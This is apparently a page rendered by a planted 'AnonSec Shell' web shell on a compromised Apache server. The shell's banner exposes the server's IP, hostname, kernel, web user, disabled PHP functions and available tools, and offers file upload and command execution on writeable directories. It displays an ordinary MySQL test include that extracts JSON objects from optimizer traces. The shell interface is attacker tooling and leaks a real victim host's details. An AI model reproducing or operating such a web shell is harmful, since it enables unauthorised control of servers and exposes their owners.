AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.213
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/include/show_json_object.inc
# Utility function to extract only a certain
# JSON object/array from some optimizer trace.
# @param extract  a string of the form 'XXX S'
# where XXX is object or array's key, and S is the symbol after this
# key ( [ or { ).

--disable_query_log
DELIMITER |;
CREATE FUNCTION show_json_object(extract TEXT, trace TEXT)
RETURNS TEXT
BEGIN
 DECLARE pos INT;
 DECLARE opened INT;
 DECLARE closed INT;
 DECLARE inside INT;
 DECLARE stop INT;
 DECLARE open_symbol VARCHAR(1);
 DECLARE close_symbol VARCHAR(1);
 SET pos = LOCATE(extract, trace);
 IF pos = 0
 THEN
   RETURN 'NOT FOUND';
 END IF;
 SET open_symbol = SUBSTRING(extract, -1);
 IF open_symbol = '{'
 THEN
   SET close_symbol = '}';
 ELSEIF open_symbol = '['
 THEN
   SET close_symbol = ']';
 ELSE
   RETURN 'ERROR: 1st argument does not end with { or [';
 END IF;
 SET trace = SUBSTRING(trace, pos);
 SET pos = 1;
 SET inside = 0;
 # A counter to break an infinite loop, in case of bug in SP or bad trace
 SET stop = 1000;
 LOOP
   SET stop = stop - 1;
   IF stop = 0
   THEN
     RETURN "ERROR";
   END IF;
   SET closed = LOCATE(close_symbol, trace, pos);
   SET opened = LOCATE(open_symbol, trace, pos);
   IF opened = 0
   THEN
     # symbol not found, treat it as "very far ahead"
     SET opened = 2000000;
   END IF;
   IF opened < closed
   THEN
     SET inside = inside + 1;
     SET pos = opened + 1;
   ELSE
     SET inside = inside - 1;
     SET pos = closed + 1;
   END IF;
   IF inside = 0
   THEN
     RETURN SUBSTRING(trace, 1, pos);
   END IF;
 END LOOP;
END|
DELIMITER ;|
--enable_query_log

Anon7 - 2022
AnonSec Team